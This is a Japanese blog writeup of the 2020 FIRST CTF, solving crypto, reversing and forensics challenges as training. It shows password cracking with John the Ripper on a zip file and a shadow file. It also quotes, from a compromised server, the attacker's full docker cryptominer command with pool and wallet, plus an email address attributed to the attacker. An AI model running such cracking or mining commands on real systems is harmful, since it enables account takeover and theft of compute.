setodaNote

忘れる用のメモ書き for Cybersecurity

2020 FIRST Capture the Flag Challenge Writeup

先日開催されていた 2020 FIRST Capture the Flag Challenge にチームで参加していました。*1

解いた問題について Writeup を記載します。


Crypto

Decode This

問題文は以下の通り。

WW91ciBmbGFnOiBjYjk0ZTQyMzQ4YjQ1NTBjOTdmMmVlMTY5N2M0ZjFmNQ==

印字可能な英数字が並んでおり、末尾が == になっていることから、Base64 でエンコードされた文字っぽい。

これを base64 でデコードすると以下が得られる。

Your flag: cb94e42348b4550c97f2ee1697c4f1f5

 

よってフラグは以下の通り。

  • フラグ:cb94e42348b4550c97f2ee1697c4f1f5

Decode This Other

以下のような問題文と共に、encoded.txt というファイルが与えられる。

Please decode this other

ファイルの中身は以下の通り。

<~<+ohc@UX=l@j#Z#ARloqDfQt/+C]&&@<-WFFDiaQAU&;>ASu!rA8,po+Cf>,ATJu+Ec5e;@3BH!ARl
p*D]iP.D/FE5Bk(RnAKYE%@VKq)@<-W9@VK^gEd8d<@<>p#Dg#]4+E2@4AU%p1FD5W*+Cf>,D09`1@ps
InDf0V=E,ol=De!^%F!,R<@<<W9ATD?)A7]grB5V9k+EVNE@psCuGp%$CCj@-lDJ*d"F(c\4@;]_#@:s
-oBQ\0#DCom?@:WeUCh4`2AU&;L+B3#mF(HJ(Df'?6DJ<ThFD5Z2+E2@>FDkZ-Ci^_9@<iu6DJXS@@V$
Z@/RiF9+ELt'AKWC0DIal6Bln$&DBO%7@<<W#G&M)*+Ceu'FCAm$+@/pn8P(%7Df0Z;DepP+De*F#.4c
TMDIal,@<iu9AT;j,Eb-A0Bl7K)@WH$gCNCV,F<G()Ecb`(DBNe)G\M#;D'3P1FCfK9@;L!9+CT.u+Dk
P4+Du+>+DkP$DKK<$DBO.:Blmp-E+*6f/g+,,F`T)VDf0B:+EV:.+?;;%E,oZ1FCAWpAKX9;6V0il@q]
:k@:OCjEcW@3Eb-@;F(&Zl+s:uG+E_a:+EVNE@rH7.AU,D/@<>p1+B3#c+D,FuB-:o0+>@54Ai;PXAR[
MU2.SO"ARf=`1h&<t0JtRB2e4d%3+b$)AN)P[0Jt[G@5D@OAMl1t2.gE.11;t!3AkD&@P/c1~>

タイトルからすると何らかエンコードされている文字列のようなので、その方式を探る。

  • CyberChef から base32, base58, base62, base64, base85 あたりを実行する
    • デコードされず。
  • CyberChef で Rot47 などしつつ base64 などにかける
    • これもデコードされず。
  • 途中の文字列から検索に耐えうるものをいくつかピックアップして Web 検索にかける
    • が、適当なものが出てこない。
  • 文字列がちょうど80文字で改行されていることから、80文字と関連するエンコードを探す
    • が、これも適当なものは出てこず。
  • < > で囲まれているような気がしたので、難読化された Javascript として機能するかも?
    • Web ブラウザのコンソールで実行するも、アングルブラケット*2の過不足というエラーがでて機能せず。
  • タイトルに「Other」とあるので、英数字のみ or 英数字以外に絞って見てみる
    • が、意味のあるものや実行可能なものにはならなかった。

f:id:soji256:20200629230114p:plain:w540
Console で実行した結果はエラー

しばらく悩む。

 

他の問題を解きつつ、改めて問題文を見直す。

やっぱり最初と最後にある「<~」と「~>」が全体を囲んでいるように見えて気になる。

そこでこの記号だけを Web 検索にかけてみる。

すると「ASCII85」という単語が多く出てくることに気が付く。

f:id:soji256:20200629231833p:plain:w540
記号についての検索結果

ASCII85 を調べてみると・・・

f:id:soji256:20200629231908p:plain:w540
Ascii85 - Wikipedia

お前やーー!

 

デコーダーがあったので、これにテキストを食わせる。

改行があるとエラーになってしまうので、改行を削除したものを貼り付けた。

 

無事にフラグゲット。*3

The basic need for a binary-to-text encoding comes from a need to communicate 
arbitrary binary data over preexisting communications protocols that were designed to 
carry only English language human-readable text. Those communication protocols may 
only be 7-bit safe (and within that avoid certain ASCII control codes), and may require 
line breaks at certain maximum intervals, and may not maintain whitespace. Thus, only 
the 95 printable ASCII characters are "safe" to use to convey data. 
The flag is 0aaf66deb575d43ecfe4b5205157d538f54e77f0547a3b7e5125fea2a3995f0b. 

 

  • フラグ:0aaf66deb575d43ecfe4b5205157d538f54e77f0547a3b7e5125fea2a3995f0b

Breaking the Code

問題文は以下の通りで、この文字列が問題サイトへのリンクになっている。

Can you find the flag?

リンク先のページを見てみる。

f:id:soji256:20200629233732p:plain:w540
Breaking the Code の問題サイト

ページに記載されている文字列は以下の通り。

Welcome to the Challenge!

segzn olbzl qunub ngipz v

Thank you for participating

文字列 segzn olbzl qunub ngipz v が暗号になっている様子。

Web ページなのでソースコードも確認してみる。

最初に見たときには特に何もないなぁで終わる。

が、しばらくして大量に改行が入っていることに気づく。*4

ソースを最後まで確認すると、途中に以下の文字列がコメントとして書かれていた。

<!-- segsa ptvey xmjve kerkt xqjtx gmvtt urksy bzuzo -->

これも同種の暗号っぽい。

 

というか、どことなくエニグマっぽさを感じる。*5

 

Web ページならということで、途中で変なデータ通信がされていないかブラウザの開発者モードで確認してみる。

ページ以外のやりとりは特になかったが、ヘッダーに見慣れない文字列が記載されていた。

f:id:soji256:20200629234514p:plain:w540
ヘッダーに見慣れない文字列

x-options: M3 - B - I,IV,V - J,T,V - 1,1,1

なんらか暗号に関わる文字列っぽい。

しばらく悩む。*6

 

問題のタイトルで検索してみる。

f:id:soji256:20200629234948p:plain:w540
やっぱりエニグマでは?という検索結果

やっぱりこれエニグマじゃない?

 

ということで、エニグマ暗号文の復号ができるツールを持ってきて、入力が必要なパラメータと手持ちの情報を見比べる。

M3 とあるから ローターは 3枚っぽい。B というものや I,IV,V についてはちょうど設定値にある。J,T,V1,1,1 については曖昧だったのでそれっぽい場所に入れてみる。*7

f:id:soji256:20200629235556p:plain:w540
Machine Enigma - Déchiffrer, Chiffrer, Coder, Décoder, Encoder

うまく文字列にならない。

何度か試すも、きれいに読める文字列にはならなかった。

ただ、エニグマであることに間違いはなさそうなので、ほかのツールを試してみる。

CyberChef にもエニグマがあったので、こちらで先ほどと同様にパラメータを埋めていく。

f:id:soji256:20200629235449p:plain:w540
CyberChef - Enigma 1

やったでおい。*8

 

うまく読める文字列になったが、フラグではなかったようなのでもう一つのソースコードに記載されていた方を試す。

f:id:soji256:20200630000212p:plain:w440
CyberChef - Enigma 2

空白の位置を調整すると

YOUR FLAG IS JFKJRUIAWXMVDZWYGKNCMLTGKJDXSE

 

  • フラグ:JFKJRUIAWXMVDZWYGKNCMLTGKJDXSE

Breaking the Code - Bonus

問題文は以下の通りで、文字列がサイトへのリンクになっている。

Can you find the flag?

f:id:soji256:20200630000446p:plain:w540
Can you find the flag?

Bonus Challenge

jjlpe oniqy lkwht griha bhesq zyiqz btikt idj

Thank you for participating

雰囲気としてはさっきと同じエニグマっぽい。

サイトのソースコードを確認してみる。

f:id:soji256:20200630000543p:plain:w540
ソースコードに大量の文字列

大量の文字列が記載されていた。

何らかデータをエンコードしている雰囲気。

とりあえず base64 でデコードしてみる。

f:id:soji256:20200630000713p:plain:w540
文字列をデコードした結果

デコードできたっぽさある。

PNG とあるので、どうやら png 形式の画像ファイルっぽい。

画像として開くとエニグマの暗号設定らしいものが出てくる。*9

f:id:soji256:20200630002741p:plain:w540
aaaa

これを地道にひとつひとつ試していった。*10

暗号文:jjlpe oniqy lkwht griha bhesq zyiqz btikt idj

                                            dCode.frで試した結果                  
V III I    UCO  BDT   GC JU KE MF OD XY     LBIFCJSRVGKIFYFEJWYZVQPCCAOKBXXVXAWCGD
II V IV    RWQ  IYM   BN FK OS PW TA ZE     SBWGRMVPPZBEGJQETFLQUUFFXNBMYFRLWUKONK
IV II I    TRK  SFX   BN DU JI OK TF XC     AOZNTIYCGFMZIJAQCVWVIDWEZXBFUPOQOMEDXS
II V III   CTZ  TQO   AF BK GJ VQ XH YT     IDZKBHSWTJAMRGBYNHWTPJVMCRDWZDGOQPJOEH
I V III    XOM  DKV   BX IS LY NF QO WA     THMMDIXVIFGLOQWBNRLVNEAIAYDFYUZWFQGQZX
IV V II    LDQ  IAH   CR FO LI NM PD XH     ZVAJGNWCZPHVCJCFOJSWGKGDSAFTAAHNMMIDWF
IV I III   NWL  HSP   HV IM JB OT QA UF     FDSOVJHBHJDWKXAIFXKDVWBTYOGCSRXLVWZJGI
II IV III  HFZ  GPZ   FE IB OQ VC YW ZM     PUHSWKYNKUPUJDACVFGSMGUMEKIAALPMYJJDFA
II I IV    UBJ  PJU   CO GV IH KD ML RB     HATZOJXFYTRWTYPYVXBOJSDUWSMZTXWSSZVAXC
I II IV    BCG  KFQ   ES GD IZ JF LN YA     KUVEZSFWOIJMJQLNNJNIPEDOFLGJVQPLDUCRRL
II V IV    FAP  CCH   BT CO NE PK VY ZI     YTRWRNSKSXKJYPUVORACNEKNFJVOLKLETPFZLF

                                            CyberChefで試した結果
V III I    UCO  BDT   GC JU KE MF OD XY     KCYKO PAQTM KFGZO SXBGF ROQLE CFDSF LRCTR ASI
II V IV    RWQ  IYM   BN FK OS PW TA ZE     KVJLI YHGWQ NBPPN SQBCQ HFZNZ PXETO YYFWY YJN
IV II I    TRK  SFX   BN DU JI OK TF XC     IOXWA VQKDG IASTG KBGVP RDVGY CTLBE DRYCW PRE
II V III   CTZ  TQO   AF BK GJ VQ XH YT     BQSTA YJDFE NJVUX YWWFU YSLYF IWRBJ DXMHM HBK
I V III    XOM  DKV   BX IS LY NF QO WA     LQOUK VLFRW KYGLN WOQSQ ZWUQC TPNBC FUPZK RMM
IV V II    LDQ  IAH   CR FO LI NM PD XH     OBSDC HESMP HJULB CKAXN JWFWH YJGKP DJUMH HZO
IV I III   NWL  HSP   HV IM JB OT QA UF     YOURF LAGIS OZZJJ OIOGT AGOMV EDXZS FFFGH TRD
II IV III  HFZ  GPZ   FE IB OQ VC YW ZM     
II I IV    UBJ  PJU   CO GV IH KD ML RB     
I II IV    BCG  KFQ   ES GD IZ JF LN YA     
II V IV    FAP  CCH   BT CO NE PK VY ZI     

結果、フラグが得られた。

f:id:soji256:20200630003703p:plain:w540
フラグ

YOUR FLAG IS OZZJJOIOGTAGOMVEDXZSFFFGHTRD

  • フラグ:OZZJJOIOGTAGOMVEDXZSFFFGHTRD

x/2 Salad

問題文は以下の通り。(表示のための改行を追加しています。)

%96 p$rxx 4@56 567:?6D hc AC:?E23=6 492C24E6CD[ D@ 2 
C@E2E:@? @7 92=7 Whc^a l cfX >2<6D :E A@DD:3=6 E@ 
@3E2:? 2 DJ>>6EC:42= 4:A96C[ D:>:=2C E@ #~%b W7@C E96 
ae =6EE6CD @7 E96 2=A9236EX] %96 7=28 :D 
baf5decdg7eeg37fcbh243g_67c55c
_cg6ea642ec53adb2haa66372f2b6`_3f

f:id:soji256:20200630003906p:plain:w340
x/2 Salad

見た感じ、フラグ文字列を何らか置換した文字列っぽい。

CyberChef で baseXX なども含め試していくと、Rot47 でいい感じに変換される。

The ASCII code defines 94 printable characters, 
so a rotation of half (94/2 = 47) makes it possible to obtain 
a symmetrical cipher, similar to ROT3 (for the 26 letters of the alphabet). 
The flag is 327d56458f668bf7439acb80ef4dd4048e62eca64db253a922eebfa7a3e10b7

が、327d56458f668bf7439acb80ef4dd4048e62eca64db253a922eebfa7a3e10b7 では通らない。

 

どことなく SHA-256 っぽいので、適当な SHA-256 と比べると1文字少ない。

FLAG   : 327d56458f668bf7439acb80ef4dd4048e62eca64db253a922eebfa7a3e10b7
SHA-256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

気になる。

 

・・・これ、もしかして1文字欠けてない?

 

もう一度よく問題文を見てみると、途中で文字色が赤色になっているのが分かる。

Markdown 記法でシングルクォートで囲むとこんな表示になったような気がする。

もしかして途中の文字列がコード表示の書式として効いている?

 

と考えながら、変換された文字をよく見ると ROT3 という奇妙な文字があるのに気づく。

 

もしかしてこれ ROT13 ・・・?

 

そうすると、欠けているのは「1」・・・?

 

コード表示の書式として怪しいのは「`」で、これを ROT47 するとちょうど「1」 になる。

問題文のコード書式になっている箇所に「`」を補ってやると以下の通り。

%96 p$rxx 4@56 567:?6D hc AC:?E23=6 492C24E6CD[ D@ 
2 C@E2E:@? @7 92=7 Whc^a l cfX >2<6D :E A@DD:3=6 E@ 
@3E2:? 2 DJ>>6EC:42= 4:A96C[ D:>:=2C E@ #~%`b W7@C E96 
ae =6EE6CD @7 E96 2=A9236EX] %96 7=28 :D 
baf5decdg7eeg37fcbh243g_67c55c`_cg6ea642ec53adb2haa66372f2b6`_3f

これを ROT47 にかけると以下の通り。

The ASCII code defines 94 printable characters, so 
a rotation of half (94/2 = 47) makes it possible to 
obtain a symmetrical cipher, similar to ROT13 (for the 
26 letters of the alphabet). The flag is 
327d56458f668bf7439acb80ef4dd41048e62eca64db253a922eebfa7a3e10b7

これでフラグが通った。*11

  • フラグ:327d56458f668bf7439acb80ef4dd41048e62eca64db253a922eebfa7a3e10b7

Challenge of the Challenges - Bonus

問題文は以下の通り。

As a reward for reading the instructions, 
please note that if you ever find a flag with value 
you must submit the string encoded with ROT13 to earn credit.

インストラクションを読めとあるので読みに行くと、文章の途中途中で16進数が混ざっているのに気づく。

f:id:soji256:20200630004921p:plain:w540
CTF の説明ページ

これらを抜き出して、ROT13 したものがフラグらしい。

 

最終的には以下のような種類が混ざっていた。*12

  • 0xhh
  • xhh
  • /hh
  • hh
0x46 0x4c 0x41 0x47 0x3a 0x20 0x45 0x76 0x65 0x72 0x79 0x62
 x6f  x64  x79  x20  /73  /68  /6f  /75  /6c  /64  /20  /72
 /65  /61  x64  x20  x74  x68  x65  x20  /69  /6e  /73  /74
 x72  x75  /63  /74  x69  x6f  x6e  x73  /20  /62  x65  x66
 x6f  x72  /65  /20  /73  /74  x61  x72   74   21

抜き出した16進数を文字列にすると以下の通り。

Everybody should read the instructions before start!

これを ROT13 にすると以下の通り。

Rirelobql fubhyq ernq gur vafgehpgvbaf orsber fgneg!

 

  • フラグ:Rirelobql fubhyq ernq gur vafgehpgvbaf orsber fgneg!

Reverse Engineering

Break the Snake

以下のような問題文と共に、pybreakme.zip というファイルが与えられる。

Summary
BreakMe

A bit of background
A small python BreakMe, enjoy! 
Break it and retrieve the hidden flag inside.

ファイルを展開すると 43 個のファイルとフォルダが得られる。

f:id:soji256:20200630222915p:plain:w540
pybreakme の中身

圧縮ファイルの名前にもなっていた「pybreakme」というファイルに注目して file コマンドで確認してみる。

Mach-O 64-bit x86_64 executable

「Mach-O」で検索すると「macOSで標準のバイナリファイルフォーマットとして採用されている。」といった記述が見つかる。

メンバーの一人が macOS 上で実行してくれた。結果は以下の通り。

Try to decode this:
b'646a310e2d261f1121013717516236040e01161b183b2a0a0f54095126112f300e1d231b500705690e20103e01163423010e251727775331112f000c27013b200e1d2308390c3d0e2d2616330e1567570f2b3215390a3e202b5a006b'

さらにメンバーの別の一人がデコンパイルに成功。*13

結果は以下の通り。

import base64, binascii
decodedFlag = 'That would have been too easy ^^'
encodedFlag = '646a310e2d261f1121013717516236040e01161b183b2a0a0f54095126112f300e1d231b500705690e20103e01163423010e251727775331112f000c27013b200e1d2308390c3d0e2d2616330e1567570f2b3215390a3e202b5a006b'

def __encode_flag(decodedFlag):
    b64encoded = base64.b64encode(decodedFlag.encode('utf-8'))
    barray = []
    i = 0
    while i < len(b64encoded):
        barray.append(b64encoded[i] ^ b64encoded[((i + 1) % len(b64encoded))])
        i = i + 1

    encodedFlag = binascii.hexlify(bytearray(barray))
    return encodedFlag


def __decode_flag(encodedFlag):
    print('You are suppose to work a bit')


def main():
    print('Try to decode this:')
    print("b'646a310e2d261f1121013717516236040e01161b183b2a0a0f54095126112f300e1d231b500705690e20103e01163423010e251727775331112f000c27013b200e1d2308390c3d0e2d2616330e1567570f2b3215390a3e202b5a006b'")
    hint = __encode_flag(decodedFlag)


if __name__ == '__main__':
    main()

この時点でほぼ解けている感じ。

 

エンコードの仕組みを確認して、その逆の処理でデコードすればよさそう。

デコードに成功したメンバがエンコード処理の XOR 部分を分かりやすく図で共有してくれた。再現するとこんなイメージ。

f:id:soji256:20200630225139p:plain:w340
エンコード処理の XOR 部分

先頭から順に次の文字と XOR していき、最後の文字は先頭の文字と XOR した結果を入れている。

これの逆を実現すれば解けそうだが、真面目に論理演算を考えるとちょっと難しかった。

 

そこで、別の方法を考える。

  • base64 の結果を XOR しているので、XOR で戻して得られる文字列も base64 になるはず。
  • XOR は隣同士の文字を順に XOR しているので、先頭の1文字さえ分かれば他の文字列は順々に復元できる。
  • 元の文字列は base64 なので、先頭の文字は base64 で利用される文字列 a-zA-Z0-9+/= に限定される。
  • 総当たりで調べていき、base64 として復元できるものをピックアップすればフラグが得られるのでは?

 

ということで、プログラムを組んでいく。

が、上記の考え方を共有したところ、メンバの一人が私よりずっと早くプログラムを組み上げてくれた。*14

得られた結果は以下の通り。

V2XigJlsbCBub3QgcmlzayBhbm90aGVyIGZyb250YWwgYXNzYXVsdC4gVGhhdCByYWJiaXTigJlzIGR5bmFtaXRlLg==

これを base64 で復号するとフラグが得られる。

  • フラグ:We’ll not risk another frontal assault. That rabbit’s dynamite.

My Secret - part 1

以下のような問題文と共に、mysecret というファイルが与えられる。

What is the sha256 for the proper file

正しい SHA-256 を答えればいいらしい。

ファイルそのままの SHA-256 を入れてみるが通らず。

ファイルを眺めるとバイナリが逆に詰まっているっぽい。

f:id:soji256:20200630233623p:plain:w340
mysecret (1)

f:id:soji256:20200630233045p:plain:w440
mysecret (2)

CyberChef の Reverse で逆に詰めなおしてから取得したハッシュ値がフラグだった。

  • フラグ:095BF40D794B0259556648E114366F46108AB32B324AC9D30399E8E270D47EF5

My Secret - part 2

以下のような問題文と共に、mysecret というファイルが与えられる。

What is the flag in plain text?

与えられるのは1問目と同じファイル。

バイナリを逆にして実行可能な ELF ファイルにしたものを実行すると、以下の結果が得られる。

6B7EDC007B7460D52387CF9238F99C8C3BE1C8988116248A

これを平文に戻せということのよう。

IDA でバイナリを確認してみるが、長すぎるという理由で処理部分が表示されない。

f:id:soji256:20200630233602p:plain:w540
IDA のエラー表示

ならば Ghidra で・・・

undefined8 main(void)
{
  size_t sVar1;
  uchar *indata;
  ulong uStack80896;
  sVar1 = strlen("I forgot my very old key");
  indata = (uchar *)malloc(sVar1 << 2);
  RC4((RC4_KEY *)"2d383d1c373a15831e94",(size_t)"I forgot my very old key",indata,
      (uchar *)"I forgot my very old key");
  uStack80896 = 0;
  sVar1 = strlen("I forgot my very old key");
  while (uStack80896 < sVar1) {
    printf("%02hhX",(ulong)indata[uStack80896]);
    uStack80896 = uStack80896 + 1;
  }
  putchar(10);
  return 0;
}

Ghidra つよい。

 

フラグは I forgot my very old key だった。

  • フラグ:I forgot my very old key

My Secret - part 3

以下のような問題文と共に、mysecret というファイルが与えられる。

What is the encryption key?

暗号鍵を答える問題。

 

2問目の Ghidra のデコンパイル結果を参照すればフラグが得られる。

  • フラグ:2d383d1c373a15831e94

My Secret - part 4

以下のような問題文と共に、mysecret というファイルが与えられる。

What is the algorithm used to encrypt?

暗号方式を答える問題。

 

2問目の Ghidra のデコンパイル結果を参照すればフラグが得られる。

  • フラグ:RC4

My Secret - part 5

以下のような問題文と共に、mysecret というファイルが与えられる。

How many possible keys did you find?

バイナリに直書きされている固定長の数字を数え上げると 10107 個あり、これがフラグだった。

  • フラグ:10107

Misc

Spourious File

以下のような問題文と共に、spourious.zip というファイルが与えられる。

There is a flag here

This spourious file will drive you to the flag

パスワード付きの zip が渡される。

展開のためのパスワードは教えてもらえていないので、パスワードをクラックする問題のよう。

 

John The Ripper を用いてパスワードを特定する。

$ zip2john spourious.zip > hash.txt
$ john hash.txt 

結果、f7c74 がパスワードだと分かる。

これを用いて zip ファイルを展開すると一つのファイルが得られる。

IDA で見たところ、フラグがあった。*15

f:id:soji256:20200701001151p:plain:w340
spourious

これを書き下すと以下の通り。

Your flag: g7qqtaOUkjwJ1tbcN6Dwl6ej

 

  • フラグ:g7qqtaOUkjwJ1tbcN6Dwl6ej

Forensics

Pinguoin forensics (1/7)

以下のような問題文と共に、hacked.dd.tar.gz というファイルが与えられる。

Summary
Forensics challenge Part 1

A bit of background
A friend of you was running a super nice webserver exposed to the Internet.
Unfortunately, his machine was heavily attacked and a bad guy manage to get in and to do crapy thinks.

Your mission is to forensicate the machine and try to understand what happened.

Question
What is the source IP of the attacker when he SUCCESSFULLY got access for the first time?


Evidence
Note: the 7 steps of this challenge rely on the same image.

展開すると 20GB 程度の dd ファイルが得られる。

これを FTK-Imager で見ていく。

 

問題文から、当該ファイルは攻撃を受けたサーバのディスクイメージだと思われる。

攻撃者が最初にアクセスに成功したときの IP アドレスを答える問題のよう。

ログに記録されているだろうと /var/log/ を確認すると auth.log というログが見つかる。

見ると大量にログインに失敗しているログが記録されている。

Mar  6 15:08:22 dockersrv sshd[12316]: Failed password for invalid user !root from 45.62.224.162 port 37306 ssh2
Mar  6 15:08:22 dockersrv sshd[12300]: Failed password for invalid user !root from 45.62.224.162 port 37276 ssh2
Mar  6 15:08:22 dockersrv sshd[12309]: Failed password for invalid user !root from 45.62.224.162 port 37304 ssh2
Mar  6 15:08:22 dockersrv sshd[12316]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 15:08:22 dockersrv sshd[12306]: Failed password for invalid user !root from 45.62.224.162 port 37288 ssh2
Mar  6 15:08:22 dockersrv sshd[12305]: Failed password for invalid user !root from 45.62.224.162 port 37286 ssh2
Mar  6 15:08:22 dockersrv sshd[12302]: Failed password for invalid user !root from 45.62.224.162 port 37282 ssh2
Mar  6 15:08:22 dockersrv sshd[12304]: Failed password for invalid user !root from 45.62.224.162 port 37278 ssh2
Mar  6 15:08:22 dockersrv sshd[12300]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 15:08:22 dockersrv sshd[12309]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 15:08:22 dockersrv sshd[12325]: Failed password for invalid user !root from 45.62.224.162 port 37298 ssh2
Mar  6 15:08:22 dockersrv sshd[12305]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 15:08:22 dockersrv sshd[12306]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 15:08:22 dockersrv sshd[12322]: Failed password for invalid user !root from 45.62.224.162 port 37292 ssh2
Mar  6 15:08:22 dockersrv sshd[12324]: Failed password for invalid user !root from 45.62.224.162 port 37296 ssh2

眺めると、連続失敗からの成功という怪しいログ(★をつけた箇所)が見つかる。*16

Mar 10 06:51:39 dockersrv sshd[1833]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1839]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1847]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1841]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1842]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1835]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1846]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1832]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1843]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1830]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
★ Mar 10 06:51:39 dockersrv sshd[1828]: Accepted password for jdoe from 45.62.224.162 port 37454 ssh2 
Mar 10 06:51:39 dockersrv sshd[1828]: pam_unix(sshd:session): session opened for user jdoe by (uid=0)
Mar 10 06:51:39 dockersrv sshd[1844]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1837]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv sshd[1848]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:39 dockersrv systemd-logind[803]: New session 1 of user jdoe.
Mar 10 06:51:39 dockersrv systemd: pam_unix(systemd-user:session): session opened for user jdoe by (uid=0)
Mar 10 06:51:40 dockersrv sshd[1865]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.62.224.162  user=jdoe
Mar 10 06:51:40 dockersrv sshd[1828]: pam_unix(sshd:session): session closed for user jdoe
Mar 10 06:51:41 dockersrv systemd-logind[803]: Removed session 1.

45.62.224.162 がフラグだった。

  • フラグ:45.62.224.162

Pinguoin forensics (2/7)

問題文は以下の通り。

Question
At which date & time (use log format) did the attacker 
first manage to get successfully in?

問題1から Mar 10 06:51:39 を入れるも通らず。

 

改めてログを読み進めると、以下が見つかる(★をつけた箇所)。

Mar 10 06:51:41 dockersrv sshd[1865]: Failed password for jdoe from 45.62.224.162 port 37486 ssh2
Mar 10 06:51:41 dockersrv sshd[1865]: Connection closed by authenticating user jdoe 45.62.224.162 port 37486 [preauth]
★ Mar 10 06:55:01 dockersrv sshd[1997]: Accepted password for jdoe from 45.62.224.162 port 37488 ssh2
Mar 10 06:55:01 dockersrv sshd[1997]: pam_unix(sshd:session): session opened for user jdoe by (uid=0)
Mar 10 06:55:01 dockersrv systemd: pam_unix(systemd-user:session): session opened for user jdoe by (uid=0)
Mar 10 06:55:01 dockersrv systemd-logind[803]: New session 3 of user jdoe.
Mar 10 06:55:51 dockersrv sudo:     jdoe : TTY=pts/0 ; PWD=/home/jdoe ; USER=root ; COMMAND=/bin/su -
Mar 10 06:55:51 dockersrv sudo: pam_unix(sudo:session): session opened for user root by jdoe(uid=0)
Mar 10 06:55:51 dockersrv su[2105]: Successful su for root by root
Mar 10 06:55:51 dockersrv su[2105]: + /dev/pts/0 root:root
Mar 10 06:55:51 dockersrv su[2105]: pam_unix(su:session): session opened for user root by jdoe(uid=0)
Mar 10 06:55:51 dockersrv su[2105]: pam_systemd(su:session): Cannot create session: Already running in a session

この時刻がフラグだった。

最初のログインはあくまで機械的に試行を繰り返していたときに成功したもので、攻撃者がログインしようと意図をもってアクセスした時刻はこのログイン成功時ということのよう。

  • フラグ:Mar 10 06:55:01

Pinguoin forensics (3/7)

問題文は以下の通り。

Question
Which user account was compromissed on the server?

侵害されたアカウント jdoe がフラグ。

  • フラグ:jdoe

Pinguoin forensics (4/7)

問題文は以下の通り。

Question
Can you retrieve what was the password of the compromissed account?

侵害されたアカウント jdoe のパスワードを復元する問題。

/etc/passwd/etc/shadow を拾ってきて、JTR にかける。

$ john --users=jdoe shadow

結果 123456 が得られる。

Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456           (jdoe)
  • フラグ:123456

Pinguoin forensics (5/7)

問題文は以下の通り。

Question
It seems that the attacker was willing to be sure to keep an access... 
Could you find out which account he created?

攻撃者が作成したアカウント名を答える。

auth.log や /etc/passwd の更新状況から hack3rman が追加されているのが分かる。

  • フラグ:hack3rman

Pinguoin forensics (6/7)

問題文は以下の通り。

Question
The server was used to generate some profit for the attacker.
His first attempt FAILED, could you retrieve the command used? 
The flag is the first correct command entered 
(remove useless space keeping only space between two words)

最初に失敗したコマンドを探せばいいのかなと、 各ユーザの history を眺める。

すると、攻撃者が作成さいたユーザ hack3rman.bash_history にそれっぽい失敗コマンドを見つける。

f:id:soji256:20200701213534p:plain:w540
.bash_history

これかなぁとフラグに入れてみるが、通らず。

悩んでいたところ、チームメンバが通してくれました。

失敗したコマンドではなく、正しく修正したコマンドがフラグだったらしい。

ちゃんと問題文を読もうねという。。。

  • フラグ:sudo docker service create --name miner alexellis2/cpu-opt:2018-1-2 ./cpuminer -a hodl -o stratum+tcp://hodl.eu.nicehash.com:3352 -u 35THoNiL8vNCESSq5ZPmZYTHT1GymWvUAx.autopsit.org

Pinguoin forensics (7/7)

問題文は以下の通り。

Question
When he successfully execute is command, 
an associated email address can be retrieved. 
Could you find what is his address?

ひとつ前の問題にあったメールアドレスがフラグ。

  • フラグ:francovelez081@gmail.com

参考文献

優勝チームの Writeup など

CTF の統計情報(正答数、得点分布など)が記載された資料も掲載されています。

エニグマ暗号機

付録

解けなかった問題: PLC Firmware Injection

以下のような問題文とともに capture.logicdata というファイルが与えられる。

A malicious firmware stub was uploaded to an ICS device via serial communication. 
The captured serial communication is found in capture.logicdata. 
Your goal is to decode the serial traffic, extract the firmware stub binary, and 
reverse engineer the firmware stub. If the integer 120 was passed as an argument to 
the function in the firmware stub, what would the function return?

与えられたファイルの拡張子から探すと以下のツールが見つかる。

 

実際に使ってみるとそれっぽくファイルを開くことができる。

f:id:soji256:20200701222012p:plain

ただ、CSV 出力などをしても意味のあるものにならない。

Time[s], Channel 0, Channel 1, Channel 2, Channel 3
0.000000000000000, 0, 1, 0, 1
0.481526333333333, 0, 0, 0, 1
0.483362000000000, 0, 0, 0, 0
